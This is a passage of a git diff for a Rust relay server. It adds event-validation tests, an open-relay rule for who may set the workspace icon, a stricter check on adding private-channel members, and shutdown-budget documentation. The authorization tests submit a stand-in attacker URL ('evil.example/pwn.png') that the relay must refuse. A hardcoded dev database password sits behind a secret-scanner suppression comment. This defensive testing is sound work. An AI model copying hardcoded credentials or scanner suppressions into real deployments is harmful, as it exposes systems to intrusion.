set"); + + assert!(matches!( + validate_custom_emoji_tags(&event), + Err(IngestError::Rejected(message)) if message.contains("exceeds 64 bytes") + )); + } + /// A banned relay admin must be refused with the same wire prefix and /// transport status as every other durable-restriction refusal: /// `blocked:` and (via `bridge.rs`'s `AuthFailed` arm) HTTP 403 — never @@ -3153,6 +3564,18 @@ mod tests { } } + #[test] + fn private_managed_agent_kind_remains_rejected_until_atomic_ingest_exists() { + assert!( + required_scope_for_kind( + buzz_core::kind::KIND_PRIVATE_MANAGED_AGENT, + &make_dummy_event(), + ) + .is_err(), + "kind 30179 must not enter generic EVENT ingest before privacy and aggregate CAS deploy" + ); + } + #[test] fn ephemeral_kinds_not_in_scope_allowlist() { assert!(required_scope_for_kind(KIND_PRESENCE_UPDATE, &make_dummy_event()).is_err()); @@ -4173,6 +4596,407 @@ mod tests { assert!(!requires_h_channel_scope(KIND_TEAM_CATALOG)); } + // ─── project (NIP-MP kind:30621) envelope tests ────────────────────────── + + const OWNER_A: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + const OWNER_B: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + + fn make_project(tags: &[&[&str]]) -> Event { + make_event_with_tags(KIND_PROJECT, "", tags) + } + + fn member_coord(owner: &str, repo_d: &str) -> String { + format!("30617:{owner}:{repo_d}") + } + + #[test] + fn project_envelope_accepts_minimal() { + let ev = make_project(&[&["d", "platform"]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_accepts_full_cross_owner_membership() { + // The motivating case: one project spanning two owners' repositories. + let a = member_coord(OWNER_A, "buzz"); + let b = member_coord(OWNER_B, "buzz-infra"); + let ev = make_project(&[ + &["d", "platform"], + &["name", "Platform"], + &["description", "Relay, desktop, and mobile."], + &["a", &a], + &["a", &b], + &["buzz-channel", "3580ca9b-47b4-4af9-b22a-1068778f26c6"], + &["buzz-visibility", "listed"], + ]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_accepts_zero_members() { + // Legal at the protocol layer: the natural state after removing a final + // member. The create UI requires >= 1; the relay must not. + let ev = make_project(&[&["d", "empty"], &["name", "Empty"]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_accepts_same_repo_d_under_two_owners() { + // The NIP-34 fork case. Identity is the whole coordinate, so these are + // two distinct members, not a duplicate. + let a = member_coord(OWNER_A, "buzz"); + let b = member_coord(OWNER_B, "buzz"); + let ev = make_project(&[&["d", "forks"], &["a", &a], &["a", &b]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_accepts_member_repo_d_containing_colon() { + // Coordinates split on the first two colons only, matching NIP-09 + // deletion parsing, so a colon-bearing repository `d` stays addressable. + let coord = member_coord(OWNER_A, "group:repo"); + let ev = make_project(&[&["d", "external"], &["a", &coord]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_accepts_member_cap_boundary() { + let coords: Vec = (0..PROJECT_MEMBER_CAP) + .map(|i| member_coord(OWNER_A, &format!("repo-{i}"))) + .collect(); + let mut tags: Vec> = vec![vec!["d", "wide"]]; + tags.extend(coords.iter().map(|c| vec!["a", c.as_str()])); + let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect(); + let ev = make_project(&tag_refs); + assert!( + validate_project_envelope(&ev).is_ok(), + "exactly {PROJECT_MEMBER_CAP} members must be accepted" + ); + } + + #[test] + fn project_envelope_ignores_unknown_tags() { + // Forward compatibility: a newer writer's extra metadata must not + // invalidate the event for this relay. + let ev = make_project(&[&["d", "platform"], &["future-field", "whatever"]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_rejects_missing_d_tag() { + let ev = make_project(&[&["name", "No Identity"]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("exactly one `d` tag"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_multiple_d_tags() { + let ev = make_project(&[&["d", "one"], &["d", "two"]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("exactly one `d` tag"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_empty_d_tag() { + // An empty `d` collapses every such project into the (pubkey, 30621, "") + // slot, where unrelated projects silently overwrite each other. + let ev = make_project(&[&["d", ""]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!(err.to_string().contains("must not be empty"), "got: {err}"); + } + + #[test] + fn project_envelope_rejects_valueless_d_tag() { + // `["d"]` with no value is treated as empty, not as absent. + let ev = make_project(&[&["d"]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!(err.to_string().contains("must not be empty"), "got: {err}"); + } + + #[test] + fn project_envelope_rejects_duplicate_member_coordinate() { + let coord = member_coord(OWNER_A, "buzz"); + let ev = make_project(&[&["d", "platform"], &["a", &coord], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("duplicate member coordinate"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_cap_exceeded() { + let coords: Vec = (0..=PROJECT_MEMBER_CAP) + .map(|i| member_coord(OWNER_A, &format!("repo-{i}"))) + .collect(); + let mut tags: Vec> = vec![vec!["d", "wide"]]; + tags.extend(coords.iter().map(|c| vec!["a", c.as_str()])); + let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect(); + let ev = make_project(&tag_refs); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!(err.to_string().contains("at most 64 member"), "got: {err}"); + } + + #[test] + fn project_envelope_rejects_duplicate_heavy_list_on_cap_not_duplicate() { + // The cap counts raw `a` tags, so a duplicate-heavy list is refused on + // count — parse volume is never bounded only by the frame limit. + let coord = member_coord(OWNER_A, "buzz"); + let mut tags: Vec> = vec![vec!["d", "wide"]]; + for _ in 0..=PROJECT_MEMBER_CAP { + tags.push(vec!["a", coord.as_str()]); + } + let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect(); + let ev = make_project(&tag_refs); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("at most 64 member"), + "cap must be evaluated before the duplicate set is built, got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_wrong_kind_prefix() { + // kind:30618 is repository *state*; a project groups announcements. + let coord = format!("30618:{OWNER_A}:buzz"); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_owner_not_hex() { + let coord = member_coord(&"z".repeat(64), "buzz"); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_owner_uppercase_hex() { + // `#a` filter matching is byte-exact: an uppercase-owner head would be + // invisible to the lowercase-coordinate queries every reader issues. + let coord = member_coord(&"A".repeat(64), "buzz"); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_owner_wrong_length() { + let coord = member_coord(&"a".repeat(63), "buzz"); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_empty_repo_d() { + let coord = member_coord(OWNER_A, ""); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_member_missing_segment() { + let coord = format!("30617:{OWNER_A}"); + let ev = make_project(&[&["d", "platform"], &["a", &coord]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("member `a` tag must be"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_valueless_member_tag() { + // A one-element `a` tag names no coordinate — caught by the arity check + // (rule 4) before the coordinate parse (rule 5) even runs. + let ev = make_project(&[&["d", "platform"], &["a"]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("exactly 2 or 3 elements"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_rejects_duplicate_metadata_tags() { + // Every singleton metadata tag is bounded: a duplicate would make the + // effective value reader-dependent. + for tag_name in PROJECT_SINGLETON_METADATA_TAGS { + let ev = make_project(&[&["d", "platform"], &[tag_name, "x"], &[tag_name, "y"]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string() + .contains(&format!("at most one `{tag_name}` tag")), + "duplicate `{tag_name}` must be rejected, got: {err}" + ); + } + } + + #[test] + fn project_envelope_rejects_name_too_long() { + let name = "x".repeat(PROJECT_NAME_MAX_LEN + 1); + let ev = make_project(&[&["d", "platform"], &["name", &name]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("`name` tag too long"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_accepts_name_at_max_length() { + let name = "x".repeat(PROJECT_NAME_MAX_LEN); + let ev = make_project(&[&["d", "platform"], &["name", &name]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_envelope_rejects_description_too_long() { + let description = "x".repeat(PROJECT_DESCRIPTION_MAX_LEN + 1); + let ev = make_project(&[&["d", "platform"], &["description", &description]]); + let err = validate_project_envelope(&ev).unwrap_err(); + assert!( + err.to_string().contains("`description` tag too long"), + "got: {err}" + ); + } + + #[test] + fn project_envelope_accepts_description_at_max_length() { + let description = "x".repeat(PROJECT_DESCRIPTION_MAX_LEN); + let ev = make_project(&[&["d", "platform"], &["description", &description]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + /// Membership is an assertion, not a permission grant: the relay must accept + /// a project naming a repository the signer does not own. Cross-owner + /// grouping is the entire point of the kind, and it is safe precisely because + /// membership confers nothing. + #[test] + fn project_envelope_accepts_member_owned_by_another_pubkey() { + let stranger = member_coord(OWNER_B, "not-mine"); + let ev = make_project(&[&["d", "collection"], &["a", &stranger]]); + assert!(validate_project_envelope(&ev).is_ok()); + } + + #[test] + fn project_is_in_scope_allowlist() { + let dummy = make_dummy_event(); + assert_eq!( + required_scope_for_kind(KIND_PROJECT, &dummy).unwrap(), + Scope::ReposWrite, + "a project is repository metadata — same scope as announcing a repo" + ); + } + + #[test] + fn project_is_global_only() { + // `buzz-channel` is a metadata reference, not a routing directive. + assert!(is_global_only_kind(KIND_PROJECT)); + assert!(!requires_h_channel_scope(KIND_PROJECT)); + } + + #[test] + fn project_is_parameterized_replaceable() { + // Owner-only editing comes free from NIP-33 addressing: replacement is + // keyed by (pubkey, kind, d), so one signer can never overwrite another's + // project. No relay-side permission check exists or is needed. + assert!(is_parameterized_replaceable(KIND_PROJECT)); + } + + /// Drive every case in the shared NIP-MP fixture file against + /// `validate_project_envelope`. All 11 accept cases must pass; all 20 + /// reject cases must return an error whose rule is in the case's allowed + /// `reject_rules` set — an implementation cannot pass by rejecting for an + /// unrelated reason. This is the machine-readable oracle the spec promises. + #[test] + fn project_envelope_validates_all_shared_fixtures() { + #[derive(serde::Deserialize)] + struct FixtureFile { + cases: Vec, + } + #[derive(serde::Deserialize)] + struct Case { + name: String, + expect: String, + #[serde(default)] + reject_rules: Vec, + template: Template, + } + #[derive(serde::Deserialize)] + struct Template { + content: String, + tags: Vec>, + } + + let raw = include_str!("../../../../docs/nips/NIP-MP.fixtures.json"); + let file: FixtureFile = serde_json::from_str(raw).expect("fixture file must parse"); + + for case in &file.cases { + let tag_strs: Vec> = case + .template + .tags + .iter() + .map(|t| t.iter().map(|s| s.as_str()).collect()) + .collect(); + let tag_refs: Vec<&[&str]> = tag_strs.iter().map(|t| t.as_slice()).collect(); + let ev = make_event_with_tags(KIND_PROJECT, &case.template.content, &tag_refs); + let result = validate_project_envelope(&ev); + match case.expect.as_str() { + "accept" => assert!( + result.is_ok(), + "fixture {:?} expected accept, got err: {:?}", + case.name, + result.unwrap_err() + ), + "reject" => { + let rejection = match result { + Err(r) => r, + Ok(()) => { + panic!("fixture {:?} expected reject, but was accepted", case.name) + } + }; + assert!( + case.reject_rules.iter().any(|r| r == rejection.rule), + "fixture {:?} fired rule {:?}, which is not in allowed set {:?}", + case.name, + rejection.rule, + case.reject_rules, + ); + } + other => panic!( + "unknown expect value {:?} in fixture {:?}", + other, case.name + ), + } + } + } + // ─── agent_turn_metric envelope tests ──────────────────────────────────── /// Build an event for kind:44200 with the given tags and content. diff --git a/crates/buzz-relay/src/handlers/relay_admin.rs b/crates/buzz-relay/src/handlers/relay_admin.rs index 3f58a9c2aa..3782f2c516 100644 --- a/crates/buzz-relay/src/handlers/relay_admin.rs +++ b/crates/buzz-relay/src/handlers/relay_admin.rs @@ -10,7 +10,7 @@ //! | 9030 | Add member | admin or owner | //! | 9031 | Remove member | admin or owner | //! | 9032 | Change role | owner only | -//! | 9033 | Set workspace profile (icon) | admin or owner | +//! | 9033 | Set workspace profile (icon) | admin or owner; on an open relay whose community has no admin/owner row at all, any authenticated sender (see [`may_set_workspace_profile`]) | use std::sync::Arc; @@ -94,6 +94,35 @@ fn validate_workspace_icon(icon: &str) -> Result<(), String> { Ok(()) } +/// Whether `sender_role` may set the workspace profile (kind:9033). +/// +/// Closed relays (`membership_enforced == true`) require an `admin`/`owner` +/// row in `relay_members` — the enforced roster is the authority. Open relays +/// don't *enforce* the roster, but the data can still exist: startup +/// bootstraps `RELAY_OWNER_PUBKEY` as `owner` regardless of the flag +/// (`main.rs`), as does operator provisioning. So the rule is steward-wins: +/// +/// - a steward (any admin/owner row) exists → admin/owner only, exactly like +/// a closed relay. An open relay with a configured owner keeps its icon +/// owner-controlled instead of last-write-wins for every authenticated key. +/// - genuinely rosterless (e.g. a community created by +/// `ensure_configured_community`, which writes no owner row) → any +/// NIP-42-authenticated sender may set the icon, mirroring how open relays +/// gate every other write. Without this the icon is permanently unsettable: +/// the desktop deliberately shows the icon editor on open relays (see +/// `canEditIcon` in `EditCommunityDialog.tsx`, #2640) and defers to this +/// relay-side check, which used to always say no. +fn may_set_workspace_profile( + sender_role: &str, + membership_enforced: bool, + community_has_steward: bool, +) -> bool { + if !membership_enforced && !community_has_steward { + return true; + } + sender_role == "admin" || sender_role == "owner" +} + /// A relay-admin command failure, carrying the *category* of the failure so /// the ingest seam can map it to the right NIP-01 prefix and HTTP status. /// @@ -230,9 +259,33 @@ async fn execute_relay_admin_command( // kind:9033 — Set workspace profile (icon). Handled before p-tag // extraction: it targets the relay itself, not a member pubkey. if kind == RELAY_ADMIN_SET_WORKSPACE_PROFILE { - if sender_role != "admin" && sender_role != "owner" { + // Steward detection only matters on open relays (closed relays gate on + // the sender's own role either way), so skip the extra query there. + let community_has_steward = if state.config.require_relay_membership { + true + } else { + state + .db + .has_admin_or_owner(tenant.community()) + .await + .map_err(|e| format!("database error: {e}"))? + }; + if !may_set_workspace_profile( + sender_role, + state.config.require_relay_membership, + community_has_steward, + ) { return Err("actor not authorized: must be admin or owner".to_string()); } + if sender_role != "admin" && sender_role != "owner" { + // Rosterless-open-relay admit: 9033 writes no audit row and + // publishes no announcement event (unlike 9030/9031), so this warn + // is the only durable attribution of who changed the icon. + warn!( + sender = %sender_hex, + "workspace profile change admitted without a roster role (open relay, no steward)" + ); + } // Empty or missing icon tag clears the workspace icon. let icon = extract_tag_value(event, "icon").unwrap_or_default(); @@ -562,6 +615,46 @@ mod tests { assert!(validate_workspace_icon("").is_ok()); } + /// Closed relay (membership enforced): only an admin/owner row in + /// `relay_members` may set the workspace profile — a plain member, or a + /// pubkey with no row at all (empty role), must be refused. The steward + /// flag is irrelevant when membership is enforced (call sites pass `true`, + /// but the rule must not depend on it). + #[test] + fn closed_relay_requires_admin_or_owner_for_workspace_profile() { + for steward in [true, false] { + assert!(may_set_workspace_profile("owner", true, steward)); + assert!(may_set_workspace_profile("admin", true, steward)); + assert!(!may_set_workspace_profile("member", true, steward)); + assert!(!may_set_workspace_profile("", true, steward)); + } + } + + /// Open relay with a steward: startup bootstraps `RELAY_OWNER_PUBKEY` as + /// `owner` regardless of `require_relay_membership`, so an open relay's + /// community can hold admin/owner rows. When one exists, the icon stays + /// steward-only — the fix must not widen an owner-controlled icon to + /// every authenticated key. + #[test] + fn open_relay_with_steward_keeps_workspace_profile_steward_only() { + assert!(may_set_workspace_profile("owner", false, true)); + assert!(may_set_workspace_profile("admin", false, true)); + assert!(!may_set_workspace_profile("member", false, true)); + assert!(!may_set_workspace_profile("", false, true)); + } + + /// Open relay, genuinely rosterless (no admin/owner row anywhere): any + /// authenticated sender may set the icon — including the roleless (empty + /// role) case, which is *every* sender there. This is the bug being + /// fixed: the desktop shows the icon editor on open relays (#2640) but + /// the relay refused every 9033. + #[test] + fn rosterless_open_relay_admits_any_authenticated_sender_for_workspace_profile() { + assert!(may_set_workspace_profile("", false, false)); + assert!(may_set_workspace_profile("member", false, false)); + assert!(may_set_workspace_profile("owner", false, false)); + } + #[test] fn workspace_icon_https_ok() { assert!(validate_workspace_icon("https://example.com/icon.png").is_ok()); @@ -591,4 +684,216 @@ mod tests { let long_data = format!("data:image/png;base64,{}", "A".repeat(98_304)); assert!(validate_workspace_icon(&long_data).is_err()); } + + // ─── Call-site integration: the 9033 gate wired to real config + DB ──── + // + // The unit tests above pin `may_set_workspace_profile`'s truth table, but + // not its wiring: mutation-testing showed that inverting + // `state.config.require_relay_membership` at the call site — an exact + // inversion of the security contract — survives the default suite. These + // tests drive `handle_relay_admin_event` with a real `AppState` against + // Postgres, on both relay modes, so the wiring itself is pinned. Selected + // explicitly in CI's Backend Integration job; requires local Postgres + // (and hard-fails rather than skipping when it is unreachable). + + const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1 + + /// Build a real `AppState` + tenant for a fresh community on `host`, with + /// `require_relay_membership` set as given. Mirrors + /// `api::invites::tests::invite_test_state`. + async fn workspace_profile_test_state( + host: &str, + require_relay_membership: bool, + ) -> (Arc, TenantContext) { + let mut config = crate::config::Config::from_env().expect("config from env"); + let database_url = std::env::var("BUZZ_TEST_DATABASE_URL") + .or_else(|_| std::env::var("DATABASE_URL")) + .unwrap_or_else(|_| TEST_DB_URL.to_string()); + config.database_url = database_url.clone(); + config.redis_url = "redis://127.0.0.1:1".to_string(); + config.relay_url = format!("wss://{host}"); + config.require_relay_membership = require_relay_membership; + + let pool = sqlx::PgPool::connect(&database_url) + .await + .expect("requires reachable Postgres"); + let db = buzz_db::Db::from_pool(pool.clone()); + let record = db + .ensure_configured_community(host) + .await + .expect("ensure community"); + let tenant = TenantContext::resolved(record.id, host); + + let redis_pool = deadpool_redis::Config::from_url(&config.redis_url) + .create_pool(Some(deadpool_redis::Runtime::Tokio1)) + .expect("redis pool config"); + let pubsub = Arc::new( + buzz_pubsub::PubSubManager::new(&config.redis_url, redis_pool.clone()) + .await + .expect("pubsub manager"), + ); + let audit = buzz_audit::AuditService::new(pool.clone()); + let auth = buzz_auth::AuthService::new(config.auth.clone()); + let search = buzz_search::SearchService::new(pool.clone()); + let workflow_engine = Arc::new(buzz_workflow::WorkflowEngine::new( + db.clone(), + buzz_workflow::WorkflowConfig::default(), + )); + let media_storage = buzz_media::MediaStorage::new(&config.media).expect("media storage"); + let (state, _audit_shutdown) = AppState::new( + config, + db, + redis_pool, + audit, + pubsub, + auth, + search, + workflow_engine, + Keys::generate(), + media_storage, + ); + (Arc::new(state), tenant) + } + + /// Sign a fresh kind:9033 with `icon` and run it through the real + /// admission + command path. + async fn submit_9033( + state: &Arc, + tenant: &TenantContext, + keys: &Keys, + icon: &str, + ) -> Result<(), RelayAdminError> { + let event = EventBuilder::new(Kind::Custom(9033), "") + .tags(vec![Tag::parse(["icon", icon]).expect("icon tag")]) + .sign_with_keys(keys) + .expect("sign 9033"); + handle_relay_admin_event(tenant, state, &event).await + } + + async fn stored_icon(state: &Arc, tenant: &TenantContext) -> Option { + state + .db + .get_community_icon(tenant.community()) + .await + .expect("read icon") + } + + /// Open relay (`require_relay_membership = false`): a rosterless + /// community admits any authenticated sender, but the moment a steward + /// (admin/owner row) exists the gate reverts to steward-only. + /// + /// Discriminating: fails if the call site inverts or drops + /// `require_relay_membership`, or stops consulting `has_admin_or_owner`. + #[tokio::test] + #[ignore = "requires Postgres"] + async fn open_relay_9033_admits_roleless_only_until_a_steward_exists() { + let host = format!("icon-gate-open-{}.example", uuid::Uuid::new_v4().simple()); + let (state, tenant) = workspace_profile_test_state(&host, false).await; + let roleless = Keys::generate(); + let owner = Keys::generate(); + + // Rosterless: the roleless sender may set the icon. + submit_9033(&state, &tenant, &roleless, "https://example.com/open.png") + .await + .expect("rosterless open relay must admit an authenticated sender"); + assert_eq!( + stored_icon(&state, &tenant).await.as_deref(), + Some("https://example.com/open.png"), + "icon must actually be stored" + ); + + // Seed a steward — the same roleless sender must now be refused, and + // the previously stored icon must survive the refused attempt. + state + .db + .add_relay_member( + tenant.community(), + &owner.public_key().to_hex(), + "owner", + None, + ) + .await + .expect("seed owner"); + let refused = submit_9033(&state, &tenant, &roleless, "https://evil.example/pwn.png").await; + assert_eq!( + refused, + Err(RelayAdminError::Rejected( + "actor not authorized: must be admin or owner".to_string() + )), + "an open relay with a steward must refuse a roleless sender" + ); + assert_eq!( + stored_icon(&state, &tenant).await.as_deref(), + Some("https://example.com/open.png"), + "refused attempt must not mutate the icon" + ); + + // The steward still can. + submit_9033(&state, &tenant, &owner, "https://example.com/owner.png") + .await + .expect("the steward must retain icon control"); + assert_eq!( + stored_icon(&state, &tenant).await.as_deref(), + Some("https://example.com/owner.png") + ); + } + + /// Closed relay (`require_relay_membership = true`): admin/owner only — + /// a plain member and a roleless key are refused even though the + /// community also *looks* rosterless-then-stewarded to the open-relay + /// branch. Together with the open-relay test this kills the inverted-flag + /// mutant: no assignment of the flag satisfies both. + #[tokio::test] + #[ignore = "requires Postgres"] + async fn closed_relay_9033_still_requires_admin_or_owner() { + let host = format!("icon-gate-closed-{}.example", uuid::Uuid::new_v4().simple()); + let (state, tenant) = workspace_profile_test_state(&host, true).await; + let roleless = Keys::generate(); + let member = Keys::generate(); + let admin = Keys::generate(); + state + .db + .add_relay_member( + tenant.community(), + &member.public_key().to_hex(), + "member", + None, + ) + .await + .expect("seed member"); + state + .db + .add_relay_member( + tenant.community(), + &admin.public_key().to_hex(), + "admin", + None, + ) + .await + .expect("seed admin"); + + for (keys, label) in [(&roleless, "roleless"), (&member, "member")] { + let refused = submit_9033(&state, &tenant, keys, "https://evil.example/pwn.png").await; + assert_eq!( + refused, + Err(RelayAdminError::Rejected( + "actor not authorized: must be admin or owner".to_string() + )), + "closed relay must refuse a {label} sender" + ); + } + assert_eq!( + stored_icon(&state, &tenant).await, + None, + "refused attempts must not set an icon" + ); + + submit_9033(&state, &tenant, &admin, "https://example.com/closed.png") + .await + .expect("closed-relay admin must set the icon"); + assert_eq!( + stored_icon(&state, &tenant).await.as_deref(), + Some("https://example.com/closed.png") + ); + } } diff --git a/crates/buzz-relay/src/handlers/req.rs b/crates/buzz-relay/src/handlers/req.rs index 2aed12cd7f..fd7deadf51 100644 --- a/crates/buzz-relay/src/handlers/req.rs +++ b/crates/buzz-relay/src/handlers/req.rs @@ -334,7 +334,12 @@ pub async fn handle_req( // (B) projection strategy and the missing-lookup ImplBug // guard-rail. Skipped silently if `trace_state` is `None` (only // happens on malformed pubkey, a separate failure path). - if let Some(state_snap) = trace_state.as_ref() { + // `tracer.enabled()` short-circuits the whole block on the production + // `NoopTracer`: the `communities_of_channels` lookup below is a + // `channels` read whose only consumer is `record_read_message_rows`, + // and this emit runs once PER FILTER. Gating on `trace_state` alone was + // not enough — that is `Some` for every well-formed request. + if let Some(state_snap) = trace_state.as_ref().filter(|_| state.tracer.enabled()) { let row_channels: Vec> = events.iter().map(|e| e.channel_id).collect(); let distinct: Vec = { @@ -659,7 +664,9 @@ async fn handle_search_req( // level isn't bound to a single channel filter, the // per-row `channel_id` carries the channel identity // honestly. - if let Some(state_snap) = trace_state { + // Same `enabled()` gate as the non-search lane: skip the + // trace-only `channels` lookup when nothing observes the emit. + if let Some(state_snap) = trace_state.filter(|_| state.tracer.enabled()) { let row_channels: Vec> = events.iter().map(|e| e.channel_id).collect(); let distinct: Vec = { diff --git a/crates/buzz-relay/src/handlers/side_effects.rs b/crates/buzz-relay/src/handlers/side_effects.rs index eb31f0e7bb..0838facf28 100644 --- a/crates/buzz-relay/src/handlers/side_effects.rs +++ b/crates/buzz-relay/src/handlers/side_effects.rs @@ -356,28 +356,28 @@ pub async fn validate_admin_event( .iter() .find(|m| m.pubkey == actor_bytes) .and_then(|m| m.role.parse().ok()); - - // PUT_USER: open channels allow any authenticated user; private channels - // require the actor to be an existing member (any role can invite). - if channel.visibility == "private" { - if actor_role.is_none() { - return Err(anyhow::anyhow!("actor not authorized")); - } - - // Only owners/admins may grant elevated roles. - if requested_role.is_some_and(|r| r.is_elevated()) - && !actor_role.is_some_and(|r| r.is_elevated()) - { - return Err(anyhow::anyhow!( - "only owners/admins may grant elevated roles" - )); - } - } - - // Extract target pubkey from p tag let target_pubkey = extract_p_tag(event).ok_or_else(|| anyhow::anyhow!("missing p tag"))?; + // PUT_USER: open channels allow any authenticated user. Private + // channels only let owners/admins add another identity; otherwise + // any compromised member could extend access to channel history. + // + // A self-targeted add skips this check so an idempotent re-add + // still works. That is not a way into a private channel: ingest's + // `check_channel_membership` rejects a non-member (and a + // soft-removed member) before this validator runs, and `add_member` + // independently requires the self-inviter to hold an active role. + // Self-promotion is caught by the role-change guard below. + if channel.visibility == "private" + && target_pubkey != actor_bytes + && !actor_role.is_some_and(|r| r.is_elevated()) + { + return Err(anyhow::anyhow!( + "only owners/admins may add private-channel members" + )); + } + // Changing an ACTIVE existing member's role is privileged in both // directions, on every visibility. `get_members` filters // `removed_at IS NULL`, so a soft-removed row is deliberately not an @@ -2088,9 +2088,18 @@ async fn handle_a_tag_deletion( }; // Safe cast: NIP-33 kinds are 30000–39999, well within i32. let kind_i32 = k as i32; + // NIP-09 scopes an a-tag deletion to versions at or before the + // deletion's own created_at, so a stale/replayed tombstone can never + // erase a newer replacement head. let deleted = state .db - .soft_delete_by_coordinate(tenant.community(), kind_i32, &pubkey_bytes, d_tag) + .soft_delete_by_coordinate( + tenant.community(), + kind_i32, + &pubkey_bytes, + d_tag, + event.created_at.as_secs() as i64, + ) .await .map_err(|e| { anyhow::anyhow!( diff --git a/crates/buzz-relay/src/main.rs b/crates/buzz-relay/src/main.rs index 799cf9cf60..34dc2dfcf8 100644 --- a/crates/buzz-relay/src/main.rs +++ b/crates/buzz-relay/src/main.rs @@ -17,7 +17,7 @@ use buzz_db::{Db, DbConfig}; use buzz_pubsub::PubSubManager; use buzz_search::SearchService; -use buzz_relay::config::Config; +use buzz_relay::config::{Config, MAX_DRAIN_JITTER_MS}; use buzz_relay::metrics as relay_metrics; use buzz_relay::router::{build_health_router, build_router}; use buzz_relay::state::AppState; @@ -1189,6 +1189,37 @@ async fn run_periodic_until_cancelled( /// │ → graceful drain (30s) → exit │ /// └─────────────────────────────────────────────────────────┘ /// ``` +/// +/// ## Shutdown budget +/// +/// The full teardown, measured from SIGTERM, is bounded as follows: +/// +/// 1. `5s` grace. Readiness returns 503 immediately, then the process +/// sleeps 5 seconds so Kubernetes stops routing new traffic before any +/// listener closes. +/// 2. `GRACEFUL_DRAIN_TIMEOUT` (`30s`) hard drain. Started at the end of the +/// grace, this backstops the whole drain and force-exits the process if +/// exceeded. It bounds everything after the grace, not the grace itself. +/// +/// A single WebSocket can therefore stay open, from SIGTERM, for up to: +/// +/// ```text +/// 5s grace + up to 20s jitter + up to 5s close-frame ack = 30s +/// (fixed) (MAX_DRAIN_JITTER_MS) (RESTART_CLOSE_ACK_TIMEOUT) +/// ``` +/// +/// The 5s grace runs before the 30s hard-drain clock starts, so the jitter +/// (capped at [`buzz_relay::config::MAX_DRAIN_JITTER_MS`] = 20s) plus the +/// per-connection close-frame ack wait (`RESTART_CLOSE_ACK_TIMEOUT` = 5s in +/// `state.rs`) sum to 25s and stay inside the 30s hard drain. Total worst +/// case from SIGTERM to forced exit is 5s + 30s = 35s. Both fit inside the +/// chart's `terminationGracePeriodSeconds: 60` (`deploy/charts/buzz/values.yaml`), +/// which leaves headroom but assumes no `preStop` hook adds further delay. +/// With jitter off (`BUZZ_DRAIN_JITTER_MS=0`, the default) sockets close +/// all-at-once right after the grace, so the per-socket delay collapses to +/// roughly the 5s grace plus the ack wait. +const GRACEFUL_DRAIN_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30); + async fn serve( router: axum::Router, health_router: axum::Router, @@ -1207,8 +1238,36 @@ async fn serve( let (shutdown_tx, _) = tokio::sync::watch::channel(false); let shutdown_flag = Arc::clone(&state.shutting_down); let drain_conn_manager = Arc::clone(&state.conn_manager); + let drain_jitter_ms = state.config.drain_jitter_ms; let tx = shutdown_tx.clone(); - tokio::spawn(async move { + // TODO(coverage): `serve`'s shutdown wiring has no automated test. The + // jittered drain helper (`ConnectionManager::drain_all_jittered`) is + // covered in `state.rs`, but coverage of the helper is not coverage of + // its use here: the three wiring facts below are currently unguarded, and + // mutating any one of them leaves the suite green. + // 1. Jitter dispatch: 